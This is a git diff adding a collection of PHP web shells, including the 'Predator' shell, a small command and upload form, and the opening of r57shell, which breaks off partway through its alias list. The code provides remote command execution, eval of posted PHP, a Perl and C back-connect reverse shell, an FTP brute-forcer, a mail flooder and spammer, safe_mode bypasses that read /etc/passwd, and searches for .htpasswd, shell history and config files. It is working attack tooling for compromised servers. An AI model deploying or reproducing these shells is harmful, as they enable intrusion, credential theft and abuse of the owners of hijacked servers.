+if($method=='Perl')
+ {
+ fputs($i=fopen('/tmp/shlbck','w'),base64_decode($perl));
+ fclose($i);
+ ex(which("perl")." /tmp/shlbck ".$ip." ".$port." &");
+ unlink("/tmp/shlbck");
+ return ex('netstat -an | grep -i listen');
+ }
+elseif($method=='C#')
+ {
+ fputs($i=fopen('/tmp/shlbck.c','w'),base64_decode($c));
+ fclose($i);
+ ex("gcc shlbck.c -o shlbck");
+ unlink('shlbck.c');
+ ex("/tmp/shlbck ".$ip." ".$port." &");
+ unlink("/tmp/shlbck");
+ return ex('netstat -an | grep -i listen');
+ }else
+ {
+ return 'Choose method';
+ }
+}
+
+if($_POST['type']==11){download(stripslashes($_POST['value']));};
+
+function download($dfilename)
+{
+ $file=fopen($dfilename,"r");
+ ob_clean();
+ $filename = basename($dfilename);
+ $filedump = fread($file,@filesize($dfilename));
+ fclose($file);
+ header("Content-type: ".$mime_type);
+ header("Content-disposition: attachment; filename=\"".$filename."\";");
+ echo $filedump;
+}
+
+function flooder($logf,$to,$from,$subject,$msg,$amount,$check)
+{
+ignore_user_abort(1);
+set_time_limit(0);
+
+$fl = fopen($logf, "w");
+$count = 0;
+if(!$logf){
+return "Fill 'log_file' field!";
+}elseif(!$to){
+return "Fill 'Send to' field!";
+}elseif(!$from){
+return "Fill 'From' field!";
+}elseif(!$subject){
+return "Fill 'Subject' field!";
+}elseif(!$msg){
+return "Fill 'Message' field!";
+}elseif(!$amount){
+return "Fill 'Amount' field!";
+}else{
+ while($count < $amount){
+ mail("$to", "$subject", "$msg", "From: $from");
+ $count = $count + 1;
+ $fl = fopen($logf, "w");
+ fputs($fl, "$count flood-letters was sended...");
+ fclose($fl);
+ }
+ if(strlen($check) != 0){
+ $check_text = "Done! $count flood-letters was sended!";
+ $check_sub = 'Check';
+ mail("$check", "$check_sub", "$check_text", "From: $from");
+ $fl = fopen($logf, "w");
+ fputs($fl, "Done! $count flood-letters was sended!");
+ }
+ else{
+ $fl = fopen($logf, "w");
+ fputs($fl, "Done! $count flood-letters was sended!");
+ }
+}
+fclose($fl);
+}
+
+function ftp_brute($host,$ftp_users,$ftp_passwd,$ftp_log)
+{
+ignore_user_abort(1);
+set_time_limit(0);
+
+$fl = fopen($ftp_users, "r");
+$fd = fopen($ftp_passwd, "r");
+$fr = fopen($ftp_log, "a+");
+if(!$host){
+return "Fill 'Host' field!";
+}elseif(!$ftp_users){
+return "Fill 'ftp_users file' field!";
+}elseif(!$ftp_passwd){
+return "Fill 'ftp_passwd file' field!";
+}elseif(!$ftp_log){
+return "Fill 'ftp_log file' field!";
+}elseif(!file_exists($ftp_users)){
+return "File ".$ftp_users." doesn't exists!";
+}elseif(!file_exists($ftp_passwd)){
+return "File ".$ftp_passwd." doesn't exists!";
+}
+else{
+ while(!feof($fd)){
+ $pass = fgets($fd);
+ while(!feof($fl)){
+ $user = fgets($fl);
+ $connect = ftp_connect($host);
+ if(!$connect){
+ fputs($fr, "Enable connect to $host\n");
+ exit;
+ }else{
+ $auth = ftp_login($connect, $user, $pass);
+ if(!$auth){
+ ftp_quit($connect);
+ }
+ else{
+ fputs($fr, "$host:\n---$login:$pass\n---");
+ ftp_quit($connect);
+ }
+ }
+ }
+ }
+ fputs($fr, "Done:\n");
+ fclose($fr);
+}
+fclose($fl);
+fclose($fd);
+}
+
+function spammer($from,$subject,$msg,$check,$elist,$logf)
+{
+ignore_user_abort(1);
+set_time_limit(0);
+
+$fp = fopen($elist. "r");
+$fl = fopen($logf, "w");
+$count = 0;
+if(!$from){
+return "Fill 'From' field!";
+}elseif(!$elist){
+return "Fill 'Emails list' field!";
+}elseif(!$logf){
+return "Fill 'Log File' field!";
+}elseif(!$msg){
+return "Fill 'Message' field!";
+}elseif(!$subject){
+return "Fill 'Subject' field!";
+}elseif(!file_exists($elist)){
+return "File ".$elist." doesn't exists!";
+}else{
+ while(!feof($fp)){
+ $to = fgets($fp);
+ mail("$to", "$subject", "$msg", "From: $from");
+ $count = $count + 1;
+ $fl = fopen($logf, "w");
+ fputs($fl, "$count letters was sended...");
+ fclose($fl);
+ }
+ if(strlen($check) != 0){
+ $check_text = "Done! $count letters was sended!";
+ $check_sub = 'Check';
+ mail("$check", "$check_sub", "$check_text", "From: $from");
+ $fl = fopen($logf, "w");
+ fputs($fl, "Done! $count letters was sended!\n");
+ }
+ else{
+ $fl = fopen($logf, "w");
+ fputs($fl, "Done! $count letters was sended!");
+ }
+}
+fclose($fp);
+fclose($fl);
+}
+
+function alias($in)
+{
+if($in=="find apahce config file"){return ex('find / -type f -name httpd.conf');}
+elseif($in=="find access_log files"){return ex('find / -type f -name access_log');}
+elseif($in=="find error_log files"){return ex('find / -type f -name error_log');}
+elseif($in=="find suid files"){return ex('find / -type f -perm -04000 -ls');}
+elseif($in=="find suid files in current dir"){return ex('find . -type f -perm -04000 -ls');}
+elseif($in=="find sgid files"){return ex('find / -type f -perm -02000 -ls');}
+elseif($in=="find sgid files in current dir"){return ex('find . -type f -perm -02000 -ls');}
+elseif($in=="find config.inc.php files"){return ex('find / -type f -name config.inc.php');}
+elseif($in=="find config.inc.php files in current dir"){return ex('find . -type f -name config.inc.php');}
+elseif($in=="find config* files"){return ex('find / -type f -name "config*"');}
+elseif($in=="find config* files in current dir"){return ex('find . -type f -name "config*"');}
+elseif($in=="find all writable files"){return ex('find / -type f -perm -2 -ls');}
+elseif($in=="find all writable files in current dir"){return ex('find . -type f -perm -2 -ls');}
+elseif($in=="find all writable directories"){return ex('find / -type d -perm -2 -ls');}
+elseif($in=="find all writable directories in current dir"){return ex('find . -type d -perm -2 -ls');}
+elseif($in=="find all writable directories and files"){return ex('find / -perm -2 -ls');}
+elseif($in=="find all writable directories and files in current dir"){return ex('find . -perm -2 -ls');}
+elseif($in=="find all service.pwd files"){return ex('find / -type f -name service.pwd');}
+elseif($in=="find service.pwd files in current dir"){return ex('find . -type f -name service.pwd');}
+elseif($in=="find all .htpasswd files"){return ex('find / -type f -name .htpasswd');}
+elseif($in=="find .htpasswd files in current dir"){return ex('find . -type f -name .htpasswd');}
+elseif($in=="find all .bash_history files"){return ex('find / -type f -name .bash_history');}
+elseif($in=="find .bash_history files in current dir"){return ex('find . -type f -name .bash_history');}
+elseif($in=="find all .mysql_history files"){return ex('find / -type f -name .mysql_history');}
+elseif($in=="find .mysql_history files in current dir"){return ex('find . -type f -name .mysql_history');}
+elseif($in=="find all .fetchmailrc files"){return ex('find / -type f -name .fetchmailrc');}
+elseif($in=="find .fetchmailrc files in current dir"){return ex('find . -type f -name .fetchmailrc');}
+elseif($in=="list file attributes on a Linux second extended file system"){return ex('lsattr -va');}
+elseif($in=="show opened ports"){return ex('netstat -an | grep -i listen');}
+elseif($in=="---------------------------------------------------------------------------------------------------------"){return ex('ls -la');}
+}
+
+function testperl()
+{
+ if(ex('perl -h'))
+ {
+ return "ON ";
+ }else{
+ return "OFF ";
+ }
+}
+
+function testlynx()
+{
+ if(ex('lynx --help'))
+ {
+ return "ON ";
+ }else{
+ return "OFF ";
+ }
+}
+
+
+function view_size($size)
+{
+ if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";}
+ elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";}
+ elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";}
+ else {$size = $size . " B";}
+ return $size;
+}
+
+function testfetch()
+{
+ if(ex('fetch --help'))
+ {
+ return "ON ";
+ }else{
+ return "OFF ";
+ }
+}
+
+function testwget()
+{
+ if(ex('wget --help'))
+ {
+ return "ON ";
+ }else{
+ return "OFF ";
+ }
+}
+
+function oracle()
+{
+ if(function_exists('ocilogon'))
+ {
+ return "ON ";
+ }else{
+ return "OFF ";
+ }
+}
+
+function postgresql()
+{
+ if(function_exists('pg_connect'))
+ {
+ return "ON ";
+ }else{
+ return "OFF ";
+ }
+}
+
+function testmssql()
+{
+ if(function_exists('mssql_connect'))
+ {
+ return "ON ";
+ }else{
+ return "OFF ";
+ }
+}
+function testcurl()
+{
+ if(function_exists('curl_version'))
+ {
+ return "ON ";
+ }else{
+ return "OFF ";
+ }
+}
+function testmysql()
+{
+ if(function_exists('mysql_connect'))
+ {
+ return "ON ";
+ }else{
+ return "OFF ";
+ }
+}
+function safe_mode()
+{
+if(!$safe_mode && strpos(ex("echo abch0ld"),"h0ld")!=3)
+ {
+ $_SESSION['safe_mode'] = 1;
+ return "ON ";
+ }else{
+ $_SESSION['safe_mode'] = 0;
+ return "OFF ";
+ }
+};
+
+function ex($in)
+{
+$out = '';
+
+
+if(function_exists('exec'))
+ {
+ exec($in,$out);
+ $out = join("\n",$out);
+ }
+elseif(function_exists('passthru'))
+ {
+ ob_start();
+ passthru($in);
+ $out = ob_get_contents();
+ ob_end_clean();
+ }
+elseif(function_exists('system'))
+ {
+ ob_start();
+ system($in);
+ $out = ob_get_contents();
+ ob_end_clean();
+ }
+elseif(function_exists('shell_exec'))
+ {
+ $out = shell_exec($in);
+ }
+elseif(is_resource($f = popen($in,"r")))
+ {
+ $out = "";
+ while(!@feof($f)) { $out .= fread($f,1024); }
+ pclose($f);
+ }
+return $out;
+}
+
+function shell()
+{
+if($_POST['type']==1)
+ {
+ eval(stripslashes($_POST['value']));
+ }
+elseif($_POST['type']==2)
+ {
+ pwd();
+ print_r(ex(stripslashes($_POST['value'])));
+ }
+elseif($_POST['type']==3)
+ {
+ if($_SESSION['safe_mode'] == 1){
+ if(($u=safe_ex('ls -la'))!='')
+ {return $u;}else{return safe_ex('dir');};
+
+ }else{
+ if(($u=ex('ls -la'))!='')
+ {return $u;}else{return ex('dir');};
+ }
+ }
+elseif($_POST['type']==4)
+ {
+ if(file_exists(stripslashes($_POST['value'])))
+ {
+ if($safe_mode!=1){
+ echo htmlspecialchars(fread(fopen(stripslashes($_POST['value']),"rw"),filesize(stripslashes($_POST['value']))));
+ }else{
+ echo htmlspecialchars(safe_read(stripslashes($_POST['value'])));
+ };
+ $_SESSION['edit']=1;
+ $_SESSION['filename'] = $_POST['value'];
+ }else{
+ return 'File doesn\'t exists!';
+ }
+ }
+elseif($_POST['type']==5)
+ {
+ fputs(fopen($_SESSION['filename'],"w"),stripslashes($_POST['value']));
+ }
+elseif($_POST['type']==6)
+ {
+ $uploaddir = pwd();
+ if(!$name=$_POST['newname']){$name = $_FILES['userfile']['name'];};
+ move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name);
+ }
+elseif($_POST['type']==7)
+ {
+ echo alias($_POST['value']);
+ }
+elseif($_POST['type']==8)
+ {
+ echo spammer(stripslashes($_POST['from']),stripslashes($_POST['subject']),stripslashes($_POST['msg']),stripslashes($_POST['check']),stripslashes($_POST['elist']),stripslashes($_POST['logf']));
+ }
+elseif($_POST['type']==9)
+ {
+ echo ftp_brute(stripslashes($_POST['host']),stripslashes($_POST['users']),stripslashes($_POST['passwd']),stripslashes($_POST['log']));
+ }
+elseif($_POST['type']==10)
+ {
+ echo flooder(stripslashes($_POST['log']),stripslashes($_POST['to']),stripslashes($_POST['from']),stripslashes($_POST['subject']),stripslashes($_POST['msg']),stripslashes($_POST['amount']),stripslashes($_POST['check']));
+ }
+elseif($_POST['type']==12)
+ {
+ echo backconnect(stripslashes($_POST['ip']),stripslashes($_POST['port']),stripslashes($_POST['method']));
+ }
+elseif($_POST['type']==13)
+ {
+ echo backconnect(stripslashes($_POST['port']),stripslashes($_POST['pass']),stripslashes($_POST['method']));
+ }
+elseif($_POST['type']==14)
+ {
+ echo md5_brute(stripslashes($_POST['hash']),stripslashes($_POST['log']),stripslashes($_POST['dict']));
+ }
+
+else
+ {$u = ex('ls -la');
+ if($u == ''){return ex('dir');}else{return $u;};
+ }
+
+return null;
+};
+
+function edit()
+{
+if ($_SESSION['edit'] == 1){
+$_SESSION['edit']=0;
+return " ";};
+}
+
+function getsystem()
+{
+ return php_uname('s')." ".php_uname('r')." ".php_uname('v');
+};
+
+function getserver()
+{
+ return getenv("SERVER_SOFTWARE");
+};
+
+
+function getuser()
+{
+$out = get_current_user();
+ if($out!="SYSTEM")
+ {
+ if(($out=ex('id'))==''){$out = "uid=".getmyuid()."(".get_current_user().") gid=".getmygid();};
+ }
+return $out;
+};
+
+function pwd()
+{
+if($_POST['type']==3)
+ {
+ $_SESSION['pwd'] = stripslashes($_POST['value']);
+ }
+chdir($_SESSION['pwd']);
+$cwd = getcwd();
+if($u=strrpos($cwd,'/'))
+ {
+ if($u!=strlen($cwd)-1){
+ return $cwd.'/';}
+ else{return $cwd;};
+ }
+elseif($u=strrpos($cwd,'\\'))
+ {
+ if($u!=strlen($cwd)-1){
+ return $cwd.'\\';}
+ else{return $cwd;};
+ };
+}
+
+function safe_ex($in)
+{
+if($in){
+$d=dir('.');
+
+ while (false!==($file=$d->read()))
+ {
+ if ($file=="." || $file=="..") continue;
+ @clearstatcache();
+ list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file);
+ if(!$unix){
+ echo date("d.m.Y H:i",$mtime)." ";
+ if(@is_dir($file)) echo " "; else printf("% 7s ",$size);
+ }
+ else{
+ $owner = @posix_getpwuid($uid);
+ $grgid = @posix_getgrgid($gid);
+ echo $inode." ";
+ echo perms(@fileperms($file));
+ printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size);
+ echo date("d.m.Y H:i ",$mtime);
+ }
+ echo "$file\n";
+ }
+ $d->close();
+}
+
+function safe_read($in)
+{
+echo ini_get("safe_mode");
+echo ini_get("open_basedir");
+include("/etc/passwd");
+ini_restore("safe_mode");
+ini_restore("open_basedir");
+echo ini_get("safe_mode");
+echo ini_get("open_basedir");
+
+file_get_contents($in);
+}
+
+}
+?>
+
+
+
+
+
+
+
+
+
+
+
+
+.::Predator::.
+
+
+
+
+
+
+
+
+
+
+
+System:
+
+
+
+
+
+Server:
+
+
+
+
+
+User:
+
+
+
+
+
+pwd:
+
+
+45){echo "...".substr($u,strlen($u)-40,40);}else{echo $u;};?>
+
+
+
+
+
+
+
+
+
+
+
+
+PHP-version:
+
+
+MySQL:
+
+
+MSSQL:
+
+
+PostgreSQL:
+
+
+Oracle:
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+Safe_mode:
+
+
+cURL:
+
+
+wget:
+
+
+fetch:
+
+
+lynx:
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+Perl:
+
+
+Server time:
+
+
+Server date:
+
+
+Total space:
+
+
+Free space:
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+.:[Public v1.0]:.
+
+
+
+
\ No newline at end of file
diff --git a/xakep-shells/PHP/pws.php.php.txt b/xakep-shells/PHP/pws.php.php.txt
new file mode 100644
index 0000000..cf979a1
--- /dev/null
+++ b/xakep-shells/PHP/pws.php.php.txt
@@ -0,0 +1,35 @@
+
+
+Input command :
+
+
+
+
+
+
+Uploader file :
+
+
+
+ ">
+
+
+
+
+
+
+
diff --git a/xakep-shells/PHP/r57 Shell.php.php.txt b/xakep-shells/PHP/r57 Shell.php.php.txt
new file mode 100644
index 0000000..51ca60e
--- /dev/null
+++ b/xakep-shells/PHP/r57 Shell.php.php.txt
@@ -0,0 +1,1925 @@
+ $_POST
+if(version_compare(phpversion(), '4.1.0') == -1)
+ {
+ $_POST = &$HTTP_POST_VARS;
+ $_GET = &$HTTP_GET_VARS;
+ $_SERVER = &$HTTP_SERVER_VARS;
+ }
+
+/* magic_quotes */
+if (@get_magic_quotes_gpc())
+ {
+ foreach ($_POST as $k=>$v)
+ {
+ $_POST[$k]=stripslashes($v);
+ }
+ }
+
+/* ~~~ Àóòåíòèôèêàöèÿ ~~~ */
+
+// Ëîãèí è ïàðîëü äëÿ äîñòóïà ê ñêðèïòó
+// ÍÅ ÇÀÁÓÄÜÒÅ ÑÌÅÍÈÒÜ ÏÅÐÅÄ ÐÀÇÌÅÙÅÍÈÅÌ ÍÀ ÑÅÐÂÅÐÅ!!!
+$name="r57"; // ëîãèí ïîëüçîâàòåëÿ
+$pass="r57"; // ïàðîëü ïîëüçîâàòåëÿ
+
+if (!isset($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER']!=$name || $_SERVER['PHP_AUTH_PW']!=$pass)
+ {
+ header("WWW-Authenticate: Basic realm=\"r57shell\"");
+ header("HTTP/1.0 401 Unauthorized");
+ exit("r57shell : Access Denied ");
+ }
+$head = '
+
+
+r57shell
+
+
+';
+
+
+/* show phpinfo */
+if(isset($_GET['phpinfo'])) { echo @phpinfo(); echo " "; die(); }
+/* delete script */
+if(isset($_GET['delete']))
+ {
+ @unlink(@substr(@strrchr($_SERVER['PHP_SELF'],"/"),1));
+ }
+/* delete tmp files */
+if(isset($_GET['tmp']))
+ {
+ @unlink("/tmp/bdpl");
+ @unlink("/tmp/back");
+ @unlink("/tmp/bd");
+ @unlink("/tmp/bd.c");
+ @unlink("/tmp/dp");
+ @unlink("/tmp/dpc");
+ @unlink("/tmp/dpc.c");
+ }
+/* show php.ini vars */
+if(isset($_GET['phpini']))
+{
+echo $head;
+function U_value($value)
+ {
+ if ($value == '') return 'no value ';
+ if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE';
+ if ($value === null) return 'NULL';
+ if (@is_object($value)) $value = (array) $value;
+ if (@is_array($value))
+ {
+ @ob_start();
+ print_r($value);
+ $value = @ob_get_contents();
+ @ob_end_clean();
+ }
+ return U_wordwrap((string) $value);
+ }
+
+ function U_wordwrap($str)
+ {
+ $str = @wordwrap(@htmlspecialchars($str), 100, ' ', true);
+ return @preg_replace('!(&[^;]*) ([^;]*;)!', '$1$2 ', $str);
+ }
+
+if (@function_exists('ini_get_all'))
+ {
+ $r = '';
+ echo '', 'Directive
Local Value
Master Value
';
+ foreach (@ini_get_all() as $key=>$value)
+ {
+ $r .= ''.ws(3).''.$key.' '.U_value($value['local_value']).'
'.U_value($value['global_value']).'
';
+ }
+ echo $r;
+ echo '
';
+ }
+echo " ";
+die();
+}
+/* info about cpu */
+if(isset($_GET['cpu']))
+ {
+ echo $head;
+ echo '';
+ $cpuf = @file("cpuinfo");
+ if($cpuf)
+ {
+ $c = @sizeof($cpuf);
+ for($i=0;$i<$c;$i++)
+ {
+ $info = @explode(":",$cpuf[$i]);
+ if($info[1]==""){ $info[1]="---"; }
+ $r .= ''.ws(3).''.trim($info[0]).' '.trim($info[1]).'
';
+ }
+ echo $r;
+ }
+ else
+ {
+ echo ''.ws(3).' ---
';
+ }
+ echo '
';
+ echo " ";
+ die();
+ }
+/* info about mem */
+if(isset($_GET['mem']))
+ {
+ echo $head;
+ echo '';
+ $memf = @file("meminfo");
+ if($memf)
+ {
+ $c = sizeof($memf);
+ for($i=0;$i<$c;$i++)
+ {
+ $info = explode(":",$memf[$i]);
+ if($info[1]==""){ $info[1]="---"; }
+ $r .= ''.ws(3).''.trim($info[0]).' '.trim($info[1]).'
';
+ }
+ echo $r;
+ }
+ else
+ {
+ echo ''.ws(3).' ---
';
+ }
+ echo '
';
+ echo " ";
+ die();
+ }
+
+/*
+Âûáîð ÿçûêà
+$language='ru' - ðóññêèé
+$language='eng' - àíãëèéñêèé
+*/
+$language='ru';
+
+$lang=array(
+'ru_text1' =>'Âûïîëíåííàÿ êîìàíäà',
+'ru_text2' =>'Âûïîëíåíèå êîìàíä íà ñåðâåðå',
+'ru_text3' =>'Âûïîëíèòü êîìàíäó',
+'ru_text4' =>'Ðàáî÷àÿ äèðåêòîðèÿ',
+'ru_text5' =>'Çàãðóçêà ôàéëîâ íà ñåðâåð',
+'ru_text6' =>'Ëîêàëüíûé ôàéë',
+'ru_text7' =>'Àëèàñû',
+'ru_text8' =>'Âûáåðèòå àëèàñ',
+'ru_butt1' =>'Âûïîëíèòü',
+'ru_butt2' =>'Çàãðóçèòü',
+'ru_text9' =>'Îòêðûòèå ïîðòà è ïðèâÿçêà åãî ê /bin/bash',
+'ru_text10'=>'Îòêðûòü ïîðò',
+'ru_text11'=>'Ïàðîëü äëÿ äîñòóïà',
+'ru_butt3' =>'Îòêðûòü',
+'ru_text12'=>'back-connect',
+'ru_text13'=>'IP-àäðåñ',
+'ru_text14'=>'Ïîðò',
+'ru_butt4' =>'Âûïîëíèòü',
+'ru_text15'=>'Çàãðóçêà ôàéëîâ ñ óäàëåííîãî ñåðâåðà',
+'ru_text16'=>'Èñïîëüçîâàòü',
+'ru_text17'=>'Óäàëåííûé ôàéë',
+'ru_text18'=>'Ëîêàëüíûé ôàéë',
+'ru_text19'=>'Exploits',
+'ru_text20'=>'Èñïîëüçîâàòü',
+'ru_text21'=>'Íîâîå èìÿ',
+'ru_text22'=>'datapipe',
+'ru_text23'=>'Ëîêàëüíûé ïîðò',
+'ru_text24'=>'Óäàëåííûé õîñò',
+'ru_text25'=>'Óäàëåííûé ïîðò',
+'ru_text26'=>'Èñïîëüçîâàòü',
+'ru_butt5' =>'Çàïóñòèòü',
+'ru_text28'=>'Ðàáîòà â safe_mode',
+'ru_text29'=>'Äîñòóï çàïðåùåí',
+'ru_butt6' =>'Ñìåíèòü',
+'ru_text30'=>'Ïðîñìîòð ôàéëà',
+'ru_butt7' =>'Âûâåñòè',
+'ru_text31'=>'Ôàéë íå íàéäåí',
+'ru_text32'=>'Âûïîëíåíèå PHP êîäà',
+'ru_text33'=>'Ïðîâåðêà âîçìîæíîñòè îáõîäà îãðàíè÷åíèé open_basedir ÷åðåç ôóíêöèè cURL',
+'ru_butt8' =>'Ïðîâåðèòü',
+'ru_text34'=>'Ïðîâåðêà âîçìîæíîñòè îáõîäà îãðàíè÷åíèé safe_mode ÷åðåç ôóíêöèþ include',
+'ru_text35'=>'Ïðîâåðêà âîçìîæíîñòè îáõîäà îãðàíè÷åíèé safe_mode ÷åðåç çàãðóçêó ôàéëà â mysql',
+'ru_text36'=>' Áàçà',
+'ru_text37'=>'Ëîãèí',
+'ru_text38'=>'Ïàðîëü ',
+'ru_text39'=>'Òàáëèöà',
+'ru_text40'=>'Äàìï òàáëèöû mysql ñåðâåðà',
+'ru_butt9' =>'Äàìï',
+'ru_text41'=>'Ñîõðàíèòü äàìï â ôàéëå',
+'ru_text42'=>'Ðåäàêòèðîâàíèå ôàéëà',
+'ru_text43'=>'Ðåäàêòèðîâàòü ôàéë',
+'ru_butt10'=>'Ñîõðàíèòü',
+'ru_butt11'=>'Ðåäàêòèðîâàòü',
+'ru_text44'=>'Ðåäàêòèðîâàíèå ôàéëà íåâîçìîæíî! Äîñòóï òîëüêî äëÿ ÷òåíèÿ!',
+'ru_text45'=>'Ôàéë ñîõðàíåí',
+'ru_text46'=>'Ïðîñìîòð phpinfo()',
+'ru_text47'=>'Ïðîñìîòð íàñòðîåê php.ini',
+'ru_text48'=>'Óäàëåíèå âðåìåííûõ ôàéëîâ',
+'ru_text49'=>'Óäàëåíèå ñêðèïòà ñ ñåðâåðà',
+'ru_text50'=>'Èíôîðìàöèÿ î ïðîöåññîðå',
+'ru_text51'=>'Èíôîðìàöèÿ î ïàìÿòè',
+'ru_text52'=>'Òåêñò äëÿ ïîèñêà',
+'ru_text53'=>'Èñêàòü â ïàïêå',
+'ru_text54'=>'Ïîèñê òåêñòà â ôàéëàõ',
+'ru_butt12'=>'Íàéòè',
+'ru_text55'=>'Òîëüêî â ôàéëàõ',
+'ru_text56'=>'Íè÷åãî íå íàéäåíî',
+'ru_text57'=>'Ñîçäàòü/Óäàëèòü Ôàéë/Äèðåêòîðèþ',
+'ru_text58'=>'Èìÿ',
+'ru_text59'=>'Ôàéë',
+'ru_text60'=>'Äèðåêòîðèþ',
+'ru_butt13'=>'Ñîçäàòü/Óäàëèòü',
+'ru_text61'=>'Ôàéë ñîçäàí',
+'ru_text62'=>'Äèðåêòîðèÿ ñîçäàíà',
+'ru_text63'=>'Ôàéë óäàëåí',
+'ru_text64'=>'Äèðåêòîðèÿ óäàëåíà',
+'ru_text65'=>'Ñîçäàòü',
+'ru_text66'=>'Óäàëèòü',
+'ru_text67'=>'Chown/Chgrp/Chmod',
+'ru_text68'=>'Êîìàíäà',
+'ru_text69'=>'Ïàðàìåòð1',
+'ru_text70'=>'Ïàðàìåòð2',
+'ru_text71'=>"Âòîðîé ïàðàìåòð êîìàíäû:\r\n- äëÿ CHOWN - èìÿ íîâîãî ïîëüçîâàòåëÿ èëè åãî UID (÷èñëîì) \r\n- äëÿ êîìàíäû CHGRP - èìÿ ãðóïïû èëè GID (÷èñëîì) \r\n- äëÿ êîìàíäû CHMOD - öåëîå ÷èñëî â âîñüìåðè÷íîì ïðåäñòàâëåíèè (íàïðèìåð 0777)",
+'ru_text72'=>'Òåêñò äëÿ ïîèñêà',
+'ru_text73'=>'Èñêàòü â ïàïêå',
+'ru_text74'=>'Èñêàòü â ôàéëàõ',
+'ru_text75'=>'* ìîæíî èñïîëüçîâàòü ðåãóëÿðíîå âûðàæåíèå',
+'ru_text76'=>'Ïîèñê òåêñòà â ôàéëàõ ñ ïîìîùüþ óòèëèòû find',
+/* --------------------------------------------------------------- */
+'eng_text1' =>'Executed command',
+'eng_text2' =>'Execute command on server',
+'eng_text3' =>' Run command',
+'eng_text4' =>'Work directory',
+'eng_text5' =>'Upload files on server',
+'eng_text6' =>'Local file',
+'eng_text7' =>'Aliases',
+'eng_text8' =>'Select alias',
+'eng_butt1' =>'Execute',
+'eng_butt2' =>'Upload',
+'eng_text9' =>'Bind port to /bin/bash',
+'eng_text10'=>'Port',
+'eng_text11'=>'Password for access',
+'eng_butt3' =>'Bind',
+'eng_text12'=>'back-connect',
+'eng_text13'=>'IP',
+'eng_text14'=>'Port',
+'eng_butt4' =>'Connect',
+'eng_text15'=>'Upload files from remote server',
+'eng_text16'=>' With',
+'eng_text17'=>' Remote file',
+'eng_text18'=>' Local file',
+'eng_text19'=>'Exploits',
+'eng_text20'=>' Use',
+'eng_text21'=>' New name',
+'eng_text22'=>'datapipe',
+'eng_text23'=>'Local port',
+'eng_text24'=>'Remote host',
+'eng_text25'=>'Remote port',
+'eng_text26'=>'Use',
+'eng_butt5' =>'Run',
+'eng_text28'=>'Work in safe_mode',
+'eng_text29'=>'ACCESS DENIED',
+'eng_butt6' =>'Change',
+'eng_text30'=>' Cat file',
+'eng_butt7' =>' Show ',
+'eng_text31'=>'File not found',
+'eng_text32'=>'Eval PHP code',
+'eng_text33'=>'Test bypass open_basedir with cURL functions',
+'eng_butt8' =>'Test',
+'eng_text34'=>'Test bypass safe_mode with include function',
+'eng_text35'=>'Test bypass safe_mode with load file in mysql',
+'eng_text36'=>'Database',
+'eng_text37'=>'Login',
+'eng_text38'=>'Password',
+'eng_text39'=>'Table',
+'eng_text40'=>'Dump table from mysql server',
+'eng_butt9' =>'Dump',
+'eng_text41'=>'Save dump in file',
+'eng_text42'=>'Edit files',
+'eng_text43'=>'File for edit',
+'eng_butt10'=>'Save',
+'eng_text44'=>'Can\'t edit file! Only read access!',
+'eng_text45'=>'File saved',
+'eng_text46'=>'Show phpinfo()',
+'eng_text47'=>'Show variables from php.ini',
+'eng_text48'=>'Delete temp files',
+'eng_butt11'=>'Edit file',
+'eng_text49'=>'Delete script from server',
+'eng_text50'=>'View cpu info',
+'eng_text51'=>'View memory info',
+'eng_text52'=>'Find text',
+'eng_text53'=>'In dirs',
+'eng_text54'=>'Find text in files',
+'eng_butt12'=>'Find',
+'eng_text55'=>'Only in files',
+'eng_text56'=>'Nothing :(',
+'eng_text57'=>'Create/Delete File/Dir',
+'eng_text58'=>'name',
+'eng_text59'=>'file',
+'eng_text60'=>'dir',
+'eng_butt13'=>'Create/Delete',
+'eng_text61'=>'File created',
+'eng_text62'=>'Dir created',
+'eng_text63'=>'File deleted',
+'eng_text64'=>'Dir deleted',
+'eng_text65'=>'Create',
+'eng_text66'=>'Delete',
+'eng_text67'=>'Chown/Chgrp/Chmod',
+'eng_text68'=>'Command',
+'eng_text69'=>'param1',
+'eng_text70'=>'param2',
+'eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...",
+'eng_text72'=>'Text for find',
+'eng_text73'=>'Find in folder',
+'eng_text74'=>'Find in files',
+'eng_text75'=>'* you can use regexp',
+'eng_text76'=>'Search text in files via find',
+);
+
+/*
+Àëèàñû êîìàíä
+Ïîçâîëÿþò èçáåæàòü ìíîãîêðàòíîãî íàáîðà îäíèõ è òåõ-æå êîìàíä. ( Ñäåëàíî áëàãîäàðÿ ìîåé ïðèðîäíîé ëåíè )
+Âû ìîæåòå ñàìè äîáàâëÿòü èëè èçìåíÿòü êîìàíäû.
+*/
+
+$aliases=array(
+/* ïîèñê íà ñåðâåðå âñåõ ôàéëîâ ñ suid áèòîì */
+'find suid files'=>'find / -type f -perm -04000 -ls',
+/* ïîèñê â òåêóùåé äèðåêòîðèè âñåõ ôàéëîâ ñ suid áèòîì */
+'find suid files in current dir'=>'find . -type f -perm -04000 -ls',
+/* ïîèñê íà ñåðâåðå âñåõ ôàéëîâ ñ sgid áèòîì */
+'find sgid files'=>'find / -type f -perm -02000 -ls',
+/* ïîèñê â òåêóùåé äèðåêòîðèè âñåõ ôàéëîâ ñ sgid áèòîì */
+'find sgid files in current dir'=>'find . -type f -perm -02000 -ls',
+/* ïîèñê íà ñåðâåðå ôàéëîâ config.inc.php */
+'find config.inc.php files'=>'find / -type f -name config.inc.php',
+/* ïîèñê â òåê äèðå config.inc.php */
